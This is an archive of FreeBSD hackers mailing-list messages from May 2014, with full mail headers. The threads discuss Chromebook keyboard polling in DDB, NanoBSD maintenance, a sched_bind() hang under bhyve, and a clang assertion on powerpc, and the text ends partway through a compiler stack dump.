Date: Tue, 13 May 2014 23:04:01 +0100 Message-ID: Subject: Re: Keyboard drivers, polling vs. non-polling mode To: Ruslan Bukin Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 May 2014 22:04:23 -0000 On 13 May 2014 22:26, Maxim Ignatenko wrote: > On 13 May 2014 11:17, Maxim Ignatenko wrote: >> On 13 May 2014 09:40, Ruslan Bukin wrote: >>> On Sun, May 11, 2014 at 11:33:42PM +0100, Maxim Ignatenko wrote: >>>> Hello, >>>> >>>> I'm trying trying to get keyboard working in DDB on HP Chromebook 11 (ARM). >>>> br@ said that it doesn't work there because polling mode is not implemented yet. >>>> Where can I read about the difference between polling and non-polling >>>> modes (and about keyboard drivers in general)? >>>> sys/dev/kbd/kbdreg.h describes some structures and method signatures, >>>> but I have no clue what is the expected behaviour of those methods. >>>> >>>> My current guess is that in polling mode keyboard driver just queues >>>> up all the input coming from keyboard and then gives it to consumer >>>> upon request, while in non-polling mode it invokes some callback >>>> instead of queueing. But I cannot find any documentation to confirm or >>>> disprove that. >>>> >>> >>> Chrome Embedded Controller (EC) provides interrupt (KB_GPIO_INT pin, active low) >>> reporting that there are pending data and you need to read the data using >>> ec_command(..). After all data was read, pin comes to 1 (not active). >>> >>> We have no interrupts in KDB, so you have to check pin status manually and >>> if status == 0 (active) then read new data. >>> >>> Probably you can start with patch attached (I did't tested). >> >> Thanks, I've tried something like that, except with invoking >> ec_command immediately and comparing returned state to previous one >> rather than reading status bit from GPIO pin. >> I keep getting "fdb0: i2c transfer returned 6" and none of the printfs >> I've added to iicbus_transfer_gen in sys/dev/iicbus/iiconf.c. > > Here's what I have now. After booting kernel from flash drive I get > kdb prompt (because of panic() call in exynos5_ehci.c) and when I > press any key - screen gets spammed with "fdb0: i2c transfer returned > 6". printfs added to dev/iicbus/*.c are not triggered. Any ideas? Sorry, it's "fbd0", not "fdb0". -- Best regards, Maxim From owner-freebsd-hackers@FreeBSD.ORG Tue May 13 23:40:50 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 92331F24 for ; Tue, 13 May 2014 23:40:50 +0000 (UTC) Received: from mail-ig0-x233.google.com (mail-ig0-x233.google.com [IPv6:2607:f8b0:4001:c05::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 646B22B12 for ; Tue, 13 May 2014 23:40:50 +0000 (UTC) Received: by mail-ig0-f179.google.com with SMTP id hn18so1089901igb.12 for ; Tue, 13 May 2014 16:40:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:date:message-id:subject:from:to:content-type; bh=/FExlZINN/xn6MFKFu055LtJK5PNAvT+dYvwRgnSTkM=; b=uV8dPyhp4h8NE11EVHsTYJcizvu5fjvckZxXochosTw+G5DHOqgAMqafJc1FSOiXBP P1YI4ES11Y2Kndwr4+aFCCpcp+JNDgyCDoxhJ9lCjFgGuADRYNc8E35wqpX3W6hbOOaD a0mTH535eJ/3KK9DcftMKE+tuCwGtSy9EPzrXhSy+I1m2GkI4RF45i+5aaRPhjWiP5qM P8VUTOZcQQw9ru1HWGA93Ak5J4Bdze9+mHUy0Jx+XBx8Ap/bqRCH0GNeY/uPpHaNg6LO ayIvDBdK9bQD+h90whO+OGDm6tdJijyXU4tgtze55h1L7CJlQI8n8tufu9waVIC77olk L3yA== MIME-Version: 1.0 X-Received: by 10.50.128.162 with SMTP id np2mr62817733igb.22.1400024449717; Tue, 13 May 2014 16:40:49 -0700 (PDT) Sender: iserikov@gmail.com Received: by 10.50.11.202 with HTTP; Tue, 13 May 2014 16:40:49 -0700 (PDT) Date: Tue, 13 May 2014 16:40:49 -0700 X-Google-Sender-Auth: Exlj2iia_6SpcPTwKz-GT6JNDUw Message-ID: Subject: NANOBSD From: Igor Serikov To: freebsd-hackers@freebsd.org X-Mailman-Approved-At: Wed, 14 May 2014 01:16:38 +0000 Content-Type: text/plain; charset=UTF-8 X-Content-Filtered-By: Mailman/MimeDel 2.1.18 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 May 2014 23:40:50 -0000 Fellow developers, There is a trouble with /usr/src/tools/tools/nanobsd . The utility is very useful but outdated by now. Unfortunately, I could not reach the maintainer. I implemented gpart support and would like to share it with anybody who is willing to test it, commit the code to the source tree and start maintaining the tool. The next change, I think, should be moving from calling pkg_add to utilizing pkg to match FreeBSD 10. Thanks, Igor From owner-freebsd-hackers@FreeBSD.ORG Wed May 14 01:30:34 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A3FD0A0B for ; Wed, 14 May 2014 01:30:34 +0000 (UTC) Received: from mho-01-ewr.mailhop.org (mho-03-ewr.mailhop.org [204.13.248.66]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 7A0DA2602 for ; Wed, 14 May 2014 01:30:34 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-01-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1WkO1g-000NCW-Mo; Wed, 14 May 2014 01:30:32 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s4E1UTJQ035790; Tue, 13 May 2014 19:30:29 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX194QnazeKpUsbASJgTTfzA/ Subject: Re: NANOBSD From: Ian Lepore To: Igor Serikov In-Reply-To: References: Content-Type: text/plain; charset="us-ascii" Date: Tue, 13 May 2014 19:30:29 -0600 Message-ID: <1400031029.56626.21.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 May 2014 01:30:34 -0000 On Tue, 2014-05-13 at 16:40 -0700, Igor Serikov wrote: > Fellow developers, > > There is a trouble with /usr/src/tools/tools/nanobsd . The utility is very > useful but outdated by now. Unfortunately, I could not reach the maintainer. > > I implemented gpart support and would like to share it with anybody who is > willing to test it, commit the code to the source tree and start > maintaining the tool. > > The next change, I think, should be moving from calling pkg_add to > utilizing pkg to match FreeBSD 10. > > Thanks, > Igor It's a little hard to understand the "start maintaining the tool" part of that considering that there have been 22 checkins this year, eight of them in the last two weeks, one of them yesterday. The most active maintainers are probably all at BSDCan this week and may not be as responsive as usual. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Wed May 14 05:13:01 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3295530E for ; Wed, 14 May 2014 05:13:01 +0000 (UTC) Received: from mail.machdep.com (mail.machdep.com [195.91.211.41]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DBB7628F8 for ; Wed, 14 May 2014 05:13:00 +0000 (UTC) Received: from localhost ([127.0.0.1] helo=machdep.com) by mail.machdep.com with smtp (Exim 4.82 (FreeBSD)) (envelope-from ) id 1WkRT3-000MTW-1o; Wed, 14 May 2014 09:11:01 +0400 Received: by machdep.com (nbSMTP-1.00) for uid 1001 br@machdep.com; Wed, 14 May 2014 09:11:01 +0400 (MSK) Date: Wed, 14 May 2014 09:11:00 +0400 From: Ruslan Bukin To: Maxim Ignatenko Subject: Re: Keyboard drivers, polling vs. non-polling mode Message-ID: <20140514051100.GA86330@machdep.com> References: <20140513084008.GA71115@machdep.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 May 2014 05:13:01 -0000 On Tue, May 13, 2014 at 11:17:58AM +0100, Maxim Ignatenko wrote: > I keep getting "fdb0: i2c transfer returned 6" and none of the printfs > I've added to iicbus_transfer_gen in sys/dev/iicbus/iiconf.c. You have problems with communication to EC. Forget about keyboard for a while and check i2c CS (chip select) and/or EC arbitration pins. Something is definitely goes different in HP implementation of Chromebook. Probably they used different GPIO pins. -Ruslan From owner-freebsd-hackers@FreeBSD.ORG Wed May 14 09:01:22 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5633BFFB for ; Wed, 14 May 2014 09:01:22 +0000 (UTC) Received: from winston.madpilot.net (winston.madpilot.net [78.47.75.155]) by mx1.freebsd.org (Postfix) with ESMTP id 0E8F22A53 for ; Wed, 14 May 2014 09:01:21 +0000 (UTC) Received: from winston.madpilot.net (localhost [127.0.0.1]) by winston.madpilot.net (Postfix) with ESMTP id 3gT8xk0RTdzFTB4; Wed, 14 May 2014 11:01:14 +0200 (CEST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=madpilot.net; h= content-transfer-encoding:content-type:content-type:in-reply-to :references:subject:subject:mime-version:user-agent:from:from :date:date:message-id:received:received; s=mail; t=1400058072; x=1401872473; bh=D38cm0x8KCdNFKs1R3XmUaYIkp3omNhMZYU+qkeIkS4=; b= ok1FUv7nDWs37F4yMteOQQ9ecRC1ngx7dHwwDJiSG7ugSucOypGN4KoOu+jW+YRE au/AjDQ7Elb/Axgz4Cy4PLW3yx2d5Uuo+l8Tg8R45uj1ivmh0ZLHxbhiAov6b34S MpwngoiWwWQFIl9DDYloKADlGKri4qXK7IcYX2ndPsc= Received: from winston.madpilot.net ([127.0.0.1]) by winston.madpilot.net (winston.madpilot.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MPuBB4T_MwsJ; Wed, 14 May 2014 11:01:12 +0200 (CEST) Received: from marvin.madpilot.net (micro.madpilot.net [88.149.173.206]) by winston.madpilot.net (Postfix) with ESMTPSA; Wed, 14 May 2014 11:01:12 +0200 (CEST) Message-ID: <537330D7.20802@madpilot.net> Date: Wed, 14 May 2014 11:01:11 +0200 From: Guido Falsi User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Igor Serikov , freebsd-hackers@freebsd.org Subject: Re: NANOBSD References: In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 May 2014 09:01:22 -0000 On 05/14/14 01:40, Igor Serikov wrote: > Fellow developers, > > There is a trouble with /usr/src/tools/tools/nanobsd . The utility is very > useful but outdated by now. Unfortunately, I could not reach the maintainer. > > I implemented gpart support and would like to share it with anybody who is > willing to test it, commit the code to the source tree and start > maintaining the tool. > > The next change, I think, should be moving from calling pkg_add to > utilizing pkg to match FreeBSD 10. Oh head sources nanobsd already has a "cust_pkgng ()" function for that purpose. Don't know if that has been merged to stable/10. In fact the tool is maintained, as already stated to you. -- Guido Falsi From owner-freebsd-hackers@FreeBSD.ORG Wed May 14 10:04:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 79AB84BC for ; Wed, 14 May 2014 10:04:33 +0000 (UTC) Received: from mail-wg0-x234.google.com (mail-wg0-x234.google.com [IPv6:2a00:1450:400c:c00::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 15AF92FA0 for ; Wed, 14 May 2014 10:04:32 +0000 (UTC) Received: by mail-wg0-f52.google.com with SMTP id l18so1666888wgh.35 for ; Wed, 14 May 2014 03:04:30 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=uuEbkOCCDARAOjXW1tT8txldOgFqoo9Dpg8xGafXTeg=; b=YJDTQyFYOPIaN1cYDzbMD78HQqNNkN2COCTXFwb0SqjETlhDCcvw5A4dM6DEwzkp8U EEYFVH1CpTBJ70hpFVWl+1sImXqIC+PGKCBxubFa4cGGD33dVZz7oTNgtjwXBgVAWEZt ioNSWOu2eqOVt5A+o9W3J+8W+BSqNUPXHzdPNF3xPBgd5FIt7z8tSqpwPITPSgkh9IjA smUmqPPlFgZpynyceLgqdZM4XyRBHX+hO6EPukoTTJIDtAtiXtQ5I+tn5jKAlLlbcKM/ JuFnZMoof6v082UJbyrcAzbBeNNVOjTF9NBNINCA6You0fULvDAhPdNjDkMS8nI7Nv5Y Z4wQ== X-Received: by 10.180.11.137 with SMTP id q9mr2689254wib.13.1400061870397; Wed, 14 May 2014 03:04:30 -0700 (PDT) MIME-Version: 1.0 Received: by 10.194.163.231 with HTTP; Wed, 14 May 2014 03:04:10 -0700 (PDT) In-Reply-To: <20140514051100.GA86330@machdep.com> References: <20140513084008.GA71115@machdep.com> <20140514051100.GA86330@machdep.com> From: Maxim Ignatenko Date: Wed, 14 May 2014 11:04:10 +0100 Message-ID: Subject: Re: Keyboard drivers, polling vs. non-polling mode To: Ruslan Bukin Content-Type: text/plain; charset=UTF-8 Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 14 May 2014 10:04:33 -0000 On 14 May 2014 06:11, Ruslan Bukin wrote: > On Tue, May 13, 2014 at 11:17:58AM +0100, Maxim Ignatenko wrote: >> I keep getting "fdb0: i2c transfer returned 6" and none of the printfs >> I've added to iicbus_transfer_gen in sys/dev/iicbus/iiconf.c. > > You have problems with communication to EC. > > Forget about keyboard for a while and check i2c CS (chip select) and/or > EC arbitration pins. Something is definitely goes different in HP > implementation of Chromebook. Probably they used different GPIO pins. It's even more funny: i2c-arbitrator was removed from FDT (compared to Samsung Chromebook), so removing a call to bus_claim() from ec_attach() does the trick, keyboard works in kdb :) (but not in mountroot prompt) u-boot actually does the same: it claims control over bus only if it sees "google,ap-claim-gpios" and "google,ec-claim-gpios" properties on i2c-arbitrator and just returns success otherwise. Thanks for the help, now I'll try to make built-in USB hub work. -- Best regards, Maxim From owner-freebsd-hackers@FreeBSD.ORG Thu May 15 02:14:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 79BCA853 for ; Thu, 15 May 2014 02:14:05 +0000 (UTC) Received: from mail-ig0-f171.google.com (mail-ig0-f171.google.com [209.85.213.171]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 41A342445 for ; Thu, 15 May 2014 02:14:05 +0000 (UTC) Received: by mail-ig0-f171.google.com with SMTP id c1so7370518igq.16 for ; Wed, 14 May 2014 19:14:04 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:sender:content-type:mime-version:subject:from :in-reply-to:date:cc:message-id:references:to; bh=wqqCY/qJbiKVt9mGBsulnt/X95x8PS+VF77lt6g3bJg=; b=N3ZSMDZe9SAt7QokTRg7fY0IU2kBnx4eT+z+HPaSX9cCa4Gqyqbm8BHGyvBWpCRdpP mbo51AmzZUlEighaz4T/S3cnaso27NJfio/SrW6qQzTtmiElwTaBnH2DE6YGEGSOtLt2 /p0O9bJBO/mXM5RfSqVtXm4WNX3LOfa09HwsOpfaQDJXmT4/TaIstv/gO97V5f7jhNWU tRrzTDQaSWq3Ml8TR+3P/22Vp0Zu6eO01pXab4tNwGbsW15VIUU7PayxjjZ0E/Eiv7TN ZdKumNGv8BC/ib9wibkyizCFTNosO2O3VTXXBjwW90p3A7g3YP8e2spMtNRydcZkj62J Yq1g== X-Gm-Message-State: ALoCoQmQU1G/IeF9IL0ovLncKtylHCgqGEl3x/VHtfp5J/kYouXhZFMdzn5x18FJfstlWCAO0l8g X-Received: by 10.50.79.134 with SMTP id j6mr69450581igx.6.1400120044267; Wed, 14 May 2014 19:14:04 -0700 (PDT) Received: from [10.0.98.144] ([67.213.89.195]) by mx.google.com with ESMTPSA id i16sm42164415igf.11.2014.05.14.19.14.02 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 14 May 2014 19:14:03 -0700 (PDT) Sender: Warner Losh Content-Type: multipart/signed; boundary="Apple-Mail=_79508286-282A-4EA6-A77E-5BB171ACA2D9"; protocol="application/pgp-signature"; micalg=pgp-sha512 Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: NANOBSD From: Warner Losh In-Reply-To: Date: Wed, 14 May 2014 22:14:01 -0400 Message-Id: <064216A3-58AE-41CA-9C45-4C9C6AD19B03@bsdimp.com> References: To: Igor Serikov X-Mailer: Apple Mail (2.1874) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 May 2014 02:14:05 -0000 --Apple-Mail=_79508286-282A-4EA6-A77E-5BB171ACA2D9 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 On May 13, 2014, at 7:40 PM, Igor Serikov wrote: > Fellow developers, >=20 > There is a trouble with /usr/src/tools/tools/nanobsd . The utility is = very > useful but outdated by now. Unfortunately, I could not reach the = maintainer. I=92ve been around lately=85 Unfortunately, your patches don=92t = cleanly apply, so got pushed to the end of my queue. > I implemented gpart support and would like to share it with anybody = who is > willing to test it, commit the code to the source tree and start > maintaining the tool. Yes, there=92s some issues with it apply to head. I=92m happy to work = with you... > The next change, I think, should be moving from calling pkg_add to > utilizing pkg to match FreeBSD 10. Just MFC=92d changes to enable using pkg instead of pkg_add=85 Warner --Apple-Mail=_79508286-282A-4EA6-A77E-5BB171ACA2D9 Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- Comment: GPGTools - https://gpgtools.org iQIcBAEBCgAGBQJTdCLpAAoJEGwc0Sh9sBEAKykP/i5xXAK6WswCb0l2OZGlrnhp 5zZgSKcldvkUPUrR14I0TBCSNtsXTKwU6On99QWLRSzSYvYu3HS8TXzF+DfaBg5C Ey6XPn3DhArh4j/Uckn9MAAjquMyfRSlCIgpyxPn3LhjF5gdw+vOI0b4zza8qVcg xQgrwAiD0RRQJ1uC8/IMVPSbhlxe99beM05jpxut0wvw24OjMKYaHCi00KKOP+NF qkemr09cmkncjQFCs7eKaS9DsEXjXkfOkRYMbtREjr+onqiZYp+P12mII03yP1A3 OSPXOCt5u3jr7vMqUZuQOWUoloP79hkNCUpX5Wa/YQVE2PgRFCrcBjmv+ZGcDJ6v nhZaLRlS6nGa0ezaHMfCEnCprjpzLaqPhYtb0DB+o0RfGUWKbEJffamlWYIrz1ZG rDtFmKyBSfYDsfhPnmHZVcS2ydX5wwQTd2msfTlAoCSyrW22FbbSnsnWVmIbNCub yA9qA/ZwACfAKDY8x74KEQV9nGtqKr75yG9GVHr3MQSaIN9L1KJgeTosYSSxJ/gV zptU2aSF8g5gb2rB+z07pliKygWqaWNyOwV5cLbD9BXiDnCEqJ1cEEa3YxLmx7DT lxVfOYa6/V1FoHzu+QJtwRpwbGtUKEeoeNd2DDzmnXrWjyDKIJh/OlH0pyNRI09H 5RJVjjbmZN/12L7F67JP =YQvL -----END PGP SIGNATURE----- --Apple-Mail=_79508286-282A-4EA6-A77E-5BB171ACA2D9-- From owner-freebsd-hackers@FreeBSD.ORG Thu May 15 17:29:31 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C50E6617 for ; Thu, 15 May 2014 17:29:31 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 85BF82EC2 for ; Thu, 15 May 2014 17:29:30 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s4FHK8RC065430 for ; Thu, 15 May 2014 11:20:08 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201405151720.s4FHK8RC065430@elf.torek.net> From: Chris Torek To: freebsd-hackers@freebsd.org Subject: bad call to sched_bind() => hang, even with INVARIANTS Date: Thu, 15 May 2014 11:20:08 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Thu, 15 May 2014 11:20:08 -0600 (MDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 15 May 2014 17:29:31 -0000 I was poking around with a bhyve emulation, where the emulation has only one CPU but the real systems have more. In our real-system code we had a sched_bind() that just assumed there were 2 or more CPUs, instead of just the 1. This caused the entire system to hang. (Note: using SCHED_ULE.) It's not immediately obvious to me what went wrong "underneath" to cause the whole-system hang, but clearly it is wrong to attempt to pin a thread to a CPU that does not exist. Should sched_bind() have a KASSERT in it to make sure that the cpu argument is sensible? (Or maybe even something a little more aggressive?) Chris From owner-freebsd-hackers@FreeBSD.ORG Fri May 16 04:49:55 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CD5196C6 for ; Fri, 16 May 2014 04:49:55 +0000 (UTC) Received: from mail-ig0-x233.google.com (mail-ig0-x233.google.com [IPv6:2607:f8b0:4001:c05::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 90CC12680 for ; Fri, 16 May 2014 04:49:55 +0000 (UTC) Received: by mail-ig0-f179.google.com with SMTP id hn18so334246igb.12 for ; Thu, 15 May 2014 21:49:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=dataix.net; s=rsa; h=date:from:to:subject:message-id:mime-version:content-type :content-disposition; bh=N8RKewn/uLyfbx3u7oINOvXpSHKQWpv4ZWjhYE56IhA=; b=X9nqBvyxsYXjiI0Fjekg7DKBHpvwW11zE3Wg6z7NZOPhZnBXsNrrvi3CPolehDbaIC hQBf8IUaiFaqUQny40gvg1xvEOjcw/wuex56QUW20SFmLNDftIHELvaMVig9DZ7TE3rn HxE1S8ZaIvpdCmlHOmKdaRVXGYJBo2d7LpVaw= X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:subject:message-id:mime-version :content-type:content-disposition; bh=N8RKewn/uLyfbx3u7oINOvXpSHKQWpv4ZWjhYE56IhA=; b=CXNpFp6WtHcQDobELQtyhstZ5sjAYGuEia5mrUyzmOi3g7kcG9HQoA1HtIOmHGLrTb cPlMYnndZa4j5kqHKqrSnjTuIAdZi9nwueO3Bh7pepxJh7+0hMuUurT/oaNfL3Nk2JTJ 2KnWMA/Au+DCmt4zVbZ6bJqL0MMjxOdzCpf2Clbdf4smyAwRikJr/YS5SWkoZogYKKVs wIxdqTRdEcwNd+Fb1u5YweWOUAY2XvraVKVf5moCI2EK4SQhjzY1M9dDn0hYwqZmnszK XOAbW4TY7iPwIOZhKiTabgbgqufUdNMmr1z8zUqUcWrVKxPhvnQx9HpHq3GvLccAkq+P SDig== X-Gm-Message-State: ALoCoQkuWNUNyeKZpPgeNCniadzmDauUDlj0/5oitcObflSi0jDdARz+Cezd3wraRcxzs95YnOp2 X-Received: by 10.50.66.174 with SMTP id g14mr48893273igt.44.1400215794952; Thu, 15 May 2014 21:49:54 -0700 (PDT) Received: from DataIX.local (75-128-101-59.dhcp.sgnw.mi.charter.com. [75.128.101.59]) by mx.google.com with ESMTPSA id i16sm1954397igf.11.2014.05.15.21.49.53 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 15 May 2014 21:49:53 -0700 (PDT) X-Google-Original-From: jhellenthal@DataIX.net Received: from DataIX.local (localhost [127.0.0.1]) by DataIX.local (8.14.8/8.14.8) with ESMTP id s4G4nqZH038228 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 May 2014 00:49:52 -0400 (EDT) (envelope-from jhellenthal@DataIX.net) Received: (from jh@localhost) by DataIX.local (8.14.8/8.14.8/Submit) id s4G4nooX038227 for hackers@freebsd.org; Fri, 16 May 2014 00:49:50 -0400 (EDT) (envelope-from jhellenthal@DataIX.net) Date: Fri, 16 May 2014 00:49:50 -0400 From: jhellenthal@dataix.net To: hackers@freebsd.org Subject: stable/10 r266159 base clang 3.4 Assertion on nul \0 Message-ID: <20140516044950.GA37592@DataIX.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 16 May 2014 04:49:55 -0000 All, On powerpc maybe others, I believe I am hitting a bug in clang34 that is part of base. After seearching around it has lead me to (llvm/tools/clang/lib/Frontend/TextDiagnostic.cpp) line 973ish code block where I believe it never checks for the condition of no new line at end of file but I am unfamiliar with the code and could use someone to take a closer look when they have the time. This is the link that lead me there: (Says resolved so I believe that to be another issue) http://comments.gmane.org/gmane.comp.compilers.llvm.bugs/24021 This is the error I see repeated through compilation of different programs: clang -c -I. -I../Src -I../Src -I../Src/Zle -I. -I/usr/local/include -DLIBICONV_PLUG -I/usr/local/include -DHAVE_CONFIG_H -O2 -pipe -DLIBICONV_PLUG -fno-strict-aliasing -o builtin.o builtin.c UNREACHABLE executed! Stack dump: 0. Program arguments: /usr/bin/clang -cc1 -triple powerpc-unknown-freebsd10.0 -emit-obj -disable-free -disable-llvm-verifier -main-file-name builtin.c -mrelocation-model static -mdisable-fp-elim -relaxed-aliasing -masm-verbose -mconstructor-aliases -target-cpu ppc -coverage-file /export/usr/obj/export/usr/ports/shells/zsh/work/zsh-5.0.5/Src/builtin.o -resource-dir 